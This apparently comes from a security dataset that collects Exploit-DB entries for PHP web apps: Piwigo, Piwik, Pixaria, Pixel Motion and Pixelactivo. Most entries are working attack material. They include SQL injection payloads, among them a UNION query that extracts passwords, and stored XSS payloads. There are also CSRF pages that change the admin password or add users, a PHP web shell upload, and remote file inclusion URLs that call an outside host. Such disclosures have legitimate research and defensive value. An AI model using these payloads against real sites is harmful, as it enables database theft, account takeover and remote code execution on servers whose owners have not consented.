deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36125
Description: Piwigo 2.7.3 - SQL Injection
Type: webapps
Platform: php
Date: 2015-02-19
Author: Sven Schleier

Exploit:
[CVE-2015-1517] Piwigo - SQL Injection in Version 2.7.3

----------------------------------------------------------------

Product Information:

Software: Piwigo 

Tested Version: 2.7.3, released on 9 January 2015

Vulnerability Type: SQL Injection (CWE-89)

Download link: http://piwigo.org/basics/downloads

Description: Piwigo is photo gallery software for the web, built by an active community of users and developers. Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource (copied from http://piwigo.org/)

----------------------------------------------------------------

Vulnerability description:

When an authenticated user is navigating to "Photos/Batch Manager" he is able to apply different filters. When all filters are activated and the button "Refresh photo set" is executed, the following POST request is sent to the server:



POST /piwigo-2.7.3/piwigo/admin.php?page=batch_manager HTTP/1.1
Host: <IP>
Content-Type: application/x-www-form-urlencoded
Cookie: pwg_id=ri5ra17df1v20b0h51liekceu1; interface_language=s%3A2%3A%22en%22%3B

filter_category_use=on&filter_level=1'&filter_level_include_lower=on&filter_dimension_min_width=600&filter_filesize_use=on&regenerateSuccess=0&filter_search_use=on&author=Type+the+author+name+here&filter_prefilter=caddie&title=Type+the+title+here&filter_dimension_min_ratio=1.25&level=4&tag_mode=OR&filter_prefilter_use=on&regenerateError=0&filter_filesize_min=0&filter_duplicates_date=on&remove_date_creation=on&date_creation=2015-02-06+00%3a00%3a00&submitFilter=Refresh+photo+set&filter_dimension_max_height=2300&filter_category_recursive=on&remove_title=on&filter_tags_use=on&filter_filesize_max=15.1&filter_dimension_max_width=3500&filter_dimension_max_ratio=1.78&selectAction=------------------&filter_dimension_use=on&remove_author=on&filter_duplicates_dimensions=on&start=0&filter_level_use=on&q=[PII_REDACTED]@example.com&confirm_deletion=on&filter_dimension_min_height=480


This POST request is prone to boolean-based blind, error-based and AND/OR time-based blind SQL injection in the parameter filter_level. When adding a single quote a database error message can be provoked. 

----------------------------------------------------------------

Impact: 

Direct database access is possible if an attacker is exploiting the SQL Injection vulnerability.

----------------------------------------------------------------

Solution:

Update to the latest version, which is   2.7.4, see http://piwigo.org/basics/downloads.

----------------------------------------------------------------

Timeline:

Vulnerability found: 6.2.2015
Vendor informed: 6.2.2015
Response by vendor: 7.2.2015
Fix by vendor 12.2.2015
Public Advisory: 18.2.2015

----------------------------------------------------------------
Exploit-DB #43337
Description: Piwigo 2.9.1 - 'cat_true' / 'cat_false' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-14
Author: Akityo

Exploit:
# # # # # 
# Exploit Title: Piwigo <= 2.9.1 - 'cat_true'/'cat_false' SQL Injection
# Dork: N/A
# Date: 12.12.2017
# Vendor Homepage: http://piwigo.org/
# Software Link: http://piwigo.org/basics/downloads
# Version: <= 2.9.1
# Category: Webapps
# Tested on: WiN7_x64/WIN10_X64
# CVE: CVE-2017-10682
# # # # #
# Exploit Author: Akityo
# Email: akityo@foxmail.com
# # # # #
# Description:
#
# SQL injection vulnerability in the administrative backend in Piwigo through 2.9.1 allows remote users to execute arbitrary SQL commands via the cat_false or cat_true parameter
# in the comments or status page to cat_options.php.
#
#
# # # # #
# Proof-of-Concent:
#
# POST /[path]/admin.php?page=cat_options&section=status HTTP/1.1
# Host: www.test.com
# Content-Length: 34
# Cache-Control: max-age=0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
# Upgrade-Insecure-Requests: 1
# User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
# Content-Type: application/x-www-form-urlencoded
# Accept-Encoding: gzip, deflate
# Accept-Language: zh-CN,zh;q=0.8
# Cookie: null
# Connection: close
#
# cat_false%5B%5D=[payload here]&trueify=%C2%AB
#
#  
# # # # #
Exploit-DB #30310
Description: Piwigo CMS 2.5.3 - Multiple Web Vulnerabilities
Type: webapps
Platform: php
Date: 2013-12-15
Author: sajith

Exploit:
###########################################################
[~] Exploit Title: Piwigo 2.5.3 CMS:Multiple vulnerability's
[~] Author: sajith
[~] version: Piwigo 2.5.3
[~]Vendor Homepage: http://piwigo.org
[~] vulnerable app link:http://www.piwigo.org/basics/downloads
###########################################################


[1] Stored XSS on Multiple parameters

    <1> click on Add photos (
http://127.0.0.1/cms/piwigo/admin.php?page=photos_add) and click on "create
new album" in the album name enter the payload "><img src=x
onerror=prompt(1);> and save it we can see that our payload gets
executed.we can also see that when you click on "albums" and "manage"
functionality payload gets executed.


    <2>click on users > groups > in the "group name" field add above xss
payload and click on save.


[2] CSRF vulnerability


    click on >users >manage  where "add a user " functionality can be
exploited using CSRF vulnerability(poc shown below)


<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="http://127.0.0.1/cms/piwigo/admin.php?page=user_list"
id="formid" method="post">
<input type="hidden" name="login" value="crsfpoc123" />
<input type="hidden" name="password" value="Password123@" />
<input type="hidden" name="email" value="xyz@aaww.com" />
<input type="hidden" name="send_password_by_mail" value="1" />
<input type="hidden" name="submit_add" value="Submit" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>
Exploit-DB #42443
Description: Piwigo Plugin User Tag 0.9.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-08-10
Author: Touhid M.Shaikh

Exploit:
# Exploit Title: Piwigo plugin User Tag , Persistent XSS
# Date: 10 Aug, 2017
# Extension Version: 0.9.0
# Software Link: http://piwigo.org/basics/downloads
# Extension link : http://piwigo.org/ext/extension_view.php?eid=441
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps


######## Description ########
<!--
    What is Piwigo ?
    Piwigo is photo gallery software for the web, built by an active
community of users and developers.Extensions make Piwigo easily
customizable.Piwigo is a free and open source.

    User Tag Extension in piwigo.
    This plugin extends piwigo with the function to Allow visitors to add
tags to photos.



############ Requrment ##############

Admin Must allow to user or guest for a tag in User Tag plugin option.


######## Attact Description  ########
<!--

     User Tag Extension provides additional function on photo page for the
user to tag any name of that image.


NOTE: "test.touhidshaikh.com" this domain not registered on the internet.
This domain host on local machine.

==>START<==
Any guest visitor or registered user can perform this.

User Tag Extension adds an additional field(Keyword) on photo pages that
let you tag a User Tag on the picture for visitor and registered user.

click on that Field after that fill input text box with malicious code
javascript and press Enter its stored as a User Tag keyword.

Your Javascript Stored in Server's Database and execute every time when any
visitor visit that photo.


NOte: This is also executed in admin's dashboard when admin visit keyword
page.

-->

######## Proof of Concept ########


 *****Request*****

POST /ws.php?format=json&method=user_tags.tags.update HTTP/1.1
Host: test.touhidshaikh.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101
Firefox/54.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://test.touhidshaikh.com/picture.php?/4/category/1
Content-Length: 83
Cookie: _ga=GA1.2.392[PII_REDACTED]252105; pwg_id=gsf3gp640oupaer3cjpnl22sr0
Connection: close

image_id=4&referer=picture.php%3F%2F4%2Fcategory%2F1&tags=<script>prompt()</script>

**************************************************

******Response********
HTTP/1.1 200 OK
Date: Thu, 10 Aug 2017 11:36:24 GMT
Server: Apache/2.4.27 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 46
Connection: close
Content-Type: text/plain; charset=utf-8

{"stat":"ok","result":{"info":"Tags updated"}}

****************************************************


####################################################


Greetz: Thank You, All my Friends who support me. ;)
Exploit-DB #51572
Description: Piwigo v13.7.0 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2023-07-06
Author: Okan Kurtulus

Exploit:
#Exploit Title: Piwigo v13.7.0 - Stored Cross-Site Scripting (XSS) (Authenticated)
#Date: 25 June 2023
#Exploit Author: Okan Kurtulus
#Vendor Homepage: https://piwigo.org
#Version: 13.7.0
#Tested on: Ubuntu 22.04
#CVE : N/A

# Proof of Concept:
1– Install the system through the website and log in with any user authorized to upload photos.
2–  Click "Add" under "Photos" from the left menu. The photo you want to upload is selected and uploaded.
3– Click on the uploaded photo and the photo editing screen opens. XSS payload is entered in the "Description" section on this screen. After saving the file, go to the homepage and open the page with the photo. The XSS payload appears to be triggered.

#Payload
<sCriPt>alert(1);</sCriPt>
Exploit-DB #14973
Description: piwigo-2.1.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-11
Author: Sweet

Exploit:
--=Sql injection=--


http://www.target.com/path/comments.php?keyword=charif38@hotmail.fr&author=sweet&cat=1[SQLi]&since=1&sort_by=date&sort_order=DESC&items_number=5

http://www.target.com/path/picture.php?1sweet[SQLi]&action=rate=0

http://www.target.com/path/index.php?/search/10[SQli]


--=Stored Xss=--

Admin login required
Attack pattern : >'<script>alert("Sweet")</script>

http://www.target.com/path/admin.php?page=tags

The POST variable "Nouveau tag" is vulnerable to a stored xss attack

http://www.target.com/path/admin.php?page=cat_list

The POST variable "Ajouter une catégorie virtuelle" is vulnerable to a stored xss attack



--=CSRF=--
Change admin password exploit

<html>
<body>
<h1>Piwigo-2.1.2 Change admin password CSRF </h1>
<form method="POST" name="form0" action="http://www.target.com/path/admin.php?page=profile&user_id=1">
<input type="hidden" name="redirect" value="admin.php?page"/>
<input type="hidden" name="mail_address" value="charif38@hotmail.fr"/> <!-- Your email here -->
<input type="hidden" name="use_new_pwd" value="sweet"/> <!-- Your password here -->
<input type="hidden" name="passwordConf" value="sweet"/> <!-- Your password here -->
<input type="hidden" name="nb_image_line" value="5"/>
<input type="hidden" name="nb_line_page" value="3"/>
<input type="hidden" name="theme" value="Sylvia"/>
<input type="hidden" name="language" value="fr_FR"/>
<input type="hidden" name="recent_period" value="7"/>
<input type="hidden" name="expand" value="false"/>
<input type="hidden" name="show_nb_comments" value="false"/>
<input type="hidden" name="show_nb_hits" value="false"/>
<input type="hidden" name="maxwidth" value=""/>
<input type="hidden" name="maxheight" value=""/>
<p> Push the Button <input type="submit" name="validate" value="Valider"/> </p>
</form>
<form method="GET" name="form1" action="http://www.target.com/path/admin.php?page=user_list">
<input type="hidden" name="name" value="value"/> 
</form>
</body>
</html>


[ thx and RIP to Milw0rm.com , JF - Hamst0r - Keystroke you always be right here 3> ] , inj3ct0r.com , exploit-db.com


1,2,3 VIVA LALGERIE
Exploit-DB #33814
Description: Piwik 0.5.5 - 'form_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-03-31
Author: garwga

Exploit:
source: https://www.securityfocus.com/bid/39144/info

Piwik is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Piwik 0.6 are vulnerable. 

http://www.example.com/index.php?form_url=>">
Exploit-DB #9962
Description: Piwik 1357 2009-08-02 - Arbitrary File Upload / Code Execution
Type: webapps
Platform: php
Date: 2009-10-19
Author: boecke

Exploit:
Piwik Build <= 1357 2009-08-02 (ofc_upload_image.php) Remote File Upload
Discovery: Braeden Thomas
Versions Affected: All Piwik versions utilising open-flash-chart

I. DESCRIPTION
Piwik is an open source web analytics software. 
It gives interesting reports on your website visitors, your popular pages, 
the search engines keywords they used, the language they speak‚ and so much more.

II. EXPLANATION
The vulnerability exists in Piwik's implementation of "open-flash-chart",
a module which resides in the "./libs/open-flash-chart/php-ofc-library" directory.

The vulnerable code forces Piwik to create a directory called
"./libs/open-flash-chart/tmp-upload-images" which in turn creates a file which is
able to hold PHP code. This code however does not function correctly if global
variables are unable to be overwritten.

III. VULNERABILITY
<?
	$default_path = '../tmp-upload-images/';
	if (!file_exists($default_path)) mkdir($default_path, 0777, true);
		$destination = $default_path . basename( $_GET[ 'name' ] );  // This should be sanitised before use.
	
	echo 'Saving your image to: '. $destination; // and it tells us where it's saving it to, sigh.

	$jfh = fopen($destination, 'w') or die("can't open file"); // The vulnerable code is right here.
	fwrite($jfh, $HTTP_RAW_POST_DATA);			   // and here, <?phpinfo();?>, <?system($_GET['cmd']);?>
	fclose($jfh);
?>

IV. PROOF OF CONCEPT
./libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?>

V. VENDOR
The vendor has not been notified.

VI. SOFTWARE AFFECTED
Piwik and various other software utilising the open-flash-chart library.
The latest version of open-flash-chart (version 2) also includes the vulnerable file
yet may be omitted from various implementations of the open-flash-chart library.
Exploit-DB #40724
Description: Piwik 2.16.0 - 'layout' PHP Object Injection
Type: webapps
Platform: php
Date: 2016-11-07
Author: Egidio Romano

Exploit:
---------------------------------------------------------------
Piwik <= 2.16.0 (saveLayout) PHP Object Injection Vulnerability
---------------------------------------------------------------


[-] Software Link:

https://piwik.org/


[-] Affected Versions:

Version 2.16.0 and prior versions.


[-] Vulnerability Description:

The vulnerability can be triggered through the saveLayout() method defined in /plugins/Dashboard/Controller.php:

210.    public function saveLayout()
211.    {
212.        $this->checkTokenInUrl();
213.
214.        $layout      = Common::unsanitizeInputValue(Common::getRequestVar('layout'));
215.        $layout      = strip_tags($layout);
216.        $idDashboard = Common::getRequestVar('idDashboard', 1, 'int');
217.        $name        = Common::getRequestVar('name', '', 'string');
218.
219.        if (Piwik::isUserIsAnonymous()) {
220.            $session = new SessionNamespace("Dashboard");
221.            $session->dashboardLayout = $layout;
222.            $session->setExpirationSeconds(1800);

User input passed by anonymous users through the "layout" request parameter is being stored into
a session variable at line 221, and this is possible by invoking an URL like this:

http://[piwik]/index.php?module=Dashboard&action=saveLayout&token_auth=anonymous&layout=[injection]%26%2365536;

Since Piwik is not using "utf8mb4" collations for its database, this can be exploited in combination with a MySQL
UTF8 truncation issue in order to corrupt the session array, allowing unauthenticated attackers to inject arbitrary
PHP objects into the application scope and carry out Server-Side Request Forgery (SSRF) attacks, delete arbitrary
files, execute arbitrary PHP code, and possibly other attacks. Successful exploitation of this vulnerability
requires Piwik to use the database to store session data (dbtable option) and the application running on
PHP before version 5.4.45, 5.5.29, or 5.6.13.


[-] Solution:

Update to version 2.16.1 or later.


[-] Disclosure Timeline:

[08/02/2016] - Vendor notified
[09/02/2016] - Vendor replied not to be able to reproduce the issue
[11/02/2016] - Proof of concept tested on demo.piwik.org sent to the vendor
[11/02/2016] - Vendor response stating the issue will be fixed in 2.16.1 release
[17/02/2016] - Bug bounty received
[11/04/2016] - Version 2.16.1 released: http://piwik.org/changelog/piwik-2-16-1/
[16/06/2016] - CVE number requested
[07/11/2016] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has not assigned a CVE identifier for this vulnerability.


[-] Credits:

Vulnerability discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2016-13
Exploit-DB #10532
Description: Piwik Open Flash Chart - Remote Code Execution
Type: webapps
Platform: php
Date: 2009-12-17
Author: Braeden Thomas

Exploit:
Bugtraq ID:  	 37314
Class: 	Input Validation Error
CVE: 	
Remote: 	Yes
Local: 	No
Published: 	Dec 14 2009 12:00AM
Updated: 	Dec 17 2009 06:03PM
Credit: 	Braeden Thomas
Vulnerable: 	Piwik Piwik 0.4.3
Piwik Piwik 0.4.2
Piwik Piwik 0.4.1
Piwik Piwik 0.4
Piwik Piwik 0.2.37
Piwik Piwik 0.2.36
Piwik Piwik 0.2.35
Open Web Analytics Open Web Analytics 1.2.0
Open Flash Chart Open Flash Chart 2.0


Open Flash Chart is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

Open Flash Chart 2 Beta 1 and Open Flash Chart 2 are vulnerable; other versions may also be affected. 

The following example URI is available:

http://server/libs/open-flash-chart/php-ofc-library/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=<?system($_GET['cmd']);?>
Exploit-DB #3733
Description: Pixaria Gallery 1.x - 'class.Smarty.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-14
Author: irvian

Exploit:
Pixaria Gallery 1.x (class.Smarty.php) Remote File Include Vulnerability

-----------------------------------------------------------------------------------------
# scripts            : Pixaria Gallery 1.x
# Discovered By : irvian
# scripts site      : http://pixaria.com/
# Thanks To       : #hitamputih  #nyubicrew  #patihack
# special To       : nyubi,ibnusina,arioo,jipank,kacung,trangkil,cah_gemblunkz
# dork                : powered by Pixaria. Gallery
------------------------------------------------------------------------------------------
bug found:

/resources/includes/class.Smarty.php
// Load the main Smarty class
require_once ($cfg['sys']['base_path'] . "resources/smarty/libs/Smarty.class.php");


Exploit: http://www.target.com/resources/includes/class.Smarty.php?cfg[sys][base_path]=[evilcode] 

# milw0rm.com [2007-04-14]
Exploit-DB #27868
Description: Pixaria PopPhoto 3.5.4 - 'CFG[popphoto_base_path]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-15
Author: VietMafia

Exploit:
source: https://www.securityfocus.com/bid/17970/info

Pixaria PopPhoto is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PopPhoto 3.5.4. Other versions may be affected as well.

http://www.example.com/[path]/resources/includes/popp.config.loader.inc.php?
include_path=http://unsecured-systems.com/forum/
Exploit-DB #27483
Description: Pixel Motion - '/admin/index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-27
Author: DaBDouB-MoSiKaR

Exploit:
source: https://www.securityfocus.com/bid/17260/info

Pixel Motion is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following proof-of-concept examples are available:

pass:' or 'x'='x
Exploit-DB #27484
Description: Pixel Motion - 'index.php?date' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-27
Author: DaBDouB-MoSiKaR

Exploit:
source: https://www.securityfocus.com/bid/17260/info
 
Pixel Motion is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/?mois=&annee=&date=[sql]
Exploit-DB #31703
Description: Pixel Motion Blog - 'list_article.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28920/info

Pixel Motion Blog is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://localhost/a/liste_article.php?jours="><script>alert()</script>
Exploit-DB #8882
Description: Pixelactivo 3.0 - 'idx' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-05
Author: snakespc

Exploit:
-------------------------AllaH AkbaR-------------------------------
Pixelactivo  Remote SQL Injection Vulnerability
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Declaration/ Snakes spiders devour
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:pixelactivo
Demo:www.pixelactivo.com/demo/
--------------------------SNAKES TEAM------------------------------------
Exploit:
--------
Demo:
http://www.Site.com/path/index.php?valor=veure&idx=6+UNION%20SELECT%201,passwd,3,4,5+from+authuser
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
--------------------------SNAKES TEAM------------------------------------
ALL www.Snakespc.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-06-05]